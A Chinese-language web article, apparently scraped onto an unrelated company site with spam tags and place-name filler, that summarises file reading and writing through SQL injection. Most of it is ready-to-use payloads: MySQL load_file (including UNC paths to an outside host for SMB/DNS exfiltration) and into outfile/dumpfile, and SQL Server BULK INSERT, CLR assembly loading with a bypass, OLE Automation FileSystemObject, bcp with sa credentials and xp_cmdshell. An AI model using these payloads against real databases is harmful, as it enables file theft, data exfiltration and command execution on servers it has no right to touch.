濮阳杆衣贸易有限公司

主頁 > 知識庫 > 關于SQL注入中文件讀寫的方法總結

關于SQL注入中文件讀寫的方法總結

熱門標簽:簡單的智能語音電銷機器人 南昌呼叫中心外呼系統(tǒng)哪家好 小程序智能電話機器人 怎么申請400熱線電話 泗洪正規(guī)電話機器人找哪家 怎么去開發(fā)一個電銷機器人 河北便宜電銷機器人軟件 湖南保險智能外呼系統(tǒng)產品介紹 ai電話電話機器人

前言

SQL注入有直接sql注入也有文件讀寫時的注入了我們這篇文章介紹的是SQL注入中的文件讀寫這一塊的內容,具體的一起來看看。

一、MySQL

讀文件

常見的讀文件,可以用16進制代替字符串

select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb協(xié)議
select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道

寫文件

我暫時已知l兩種寫文件的方式

select 0x313233 into outfile 'D:/1.txt'
select 0x313233 into dumpfile 'D:/1.txt'

二、 SQL Server

讀文件

1. BULK INSERT

create table result(res varchar(8000));
bulk insert result from 'd:/1.txt';

2. CLR集成

// 開啟CLR集成
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'clr enabled',1
reconfigure
create assembly sqb from 'd:\1.exe' with permission_set=unsafe

上面一句可以利用create assembly函數(shù)從遠程服務器加載任何.NET二進制文件到數(shù)據(jù)庫中;但是他會驗證是否為合法.NET程序,導致失敗,下面是讀取方式

select master.dbo.fn_varbintohexstr(cast(content as varbinary)) from sys.assembly_files

繞過,首先加載一個有效的.NET的二進制文件,然后追加文件即可,下面是繞過方法。

create assembly sqb from 'd:\net.exe';
alter assembly sqb add file from 'd:\1.txt'
alter assembly sqb add file from 'd:\notnet.exe'

3. Script.FileSystemObject

# 開啟Ole Automation Procedures
 
sp_configure 'show advanced options',1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'opentextfile', @f out, 'd:\1.txt', 1
exec @ret = sp_onmethod @f, 'readline', @line out
while(@ret = 0) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end

寫文件

1. Script.FileSystemObject

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\1.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'

2. BCP復制文件(測試失敗,無bcp.exe)

c:\windows>system32>bcp "select name from sysobjects" query testout.txt -c -s 127.0.0.1 -U sa -p"sa"

3. xp_cmdshell

exec xp_cmdshell 'echo test>d:\1.txt'

三、Oracle

pass,Oracle太坑了~~~幾乎都受到PL/SQL的限制,暫時不討論

總結

以上就是關于SQL注入中文件的讀寫方法總結,希望本文的內容對大家的學習或者工作能帶來一定的幫助,如果有疑問大家可以留言交流。

您可能感興趣的文章:
  • 利用SQL注入漏洞登錄后臺的實現(xiàn)方法
  • 有效防止SQL注入的5種方法總結
  • 利用SQL注入漏洞拖庫的方法
  • SQL注入中繞過 單引號 限制繼續(xù)注入
  • sql注入之手工注入示例詳解
  • MySQL 及 SQL 注入與防范方法
  • 防御SQL注入的方法總結
  • SQL數(shù)據(jù)庫的高級sql注入的一些知識
  • SQL 注入式攻擊的終極防范
  • sql注入教程之類型以及提交注入

標簽:柳州 淮安 江蘇 瀘州 那曲 威海 荊門 景德鎮(zhèn)

巨人網(wǎng)絡通訊聲明:本文標題《關于SQL注入中文件讀寫的方法總結》,本文關鍵詞  關于,SQL,注入,中,文件,讀,;如發(fā)現(xiàn)本文內容存在版權問題,煩請?zhí)峁┫嚓P信息告之我們,我們將及時溝通與處理。本站內容系統(tǒng)采集于網(wǎng)絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《關于SQL注入中文件讀寫的方法總結》相關的同類信息!
  • 本頁收集關于關于SQL注入中文件讀寫的方法總結的相關信息資訊供網(wǎng)民參考!
  • 推薦文章
    勃利县| 乌恰县| 缙云县| 岢岚县| 乌恰县| 丰宁| 江达县| 馆陶县| 绥宁县| 郸城县| 延庆县| 景谷| 拜城县| 青铜峡市| 谷城县| 阳高县| 漳平市| 中江县| 时尚| 星座| 盐边县| 苍溪县| 体育| 浠水县| 开封市| 铁岭县| 容城县| 罗城| 华安县| 定南县| 阿城市| 西吉县| 齐齐哈尔市| 高要市| 镇巴县| 武功县| 科技| 呼图壁县| 扶风县| 辉南县| 曲阳县|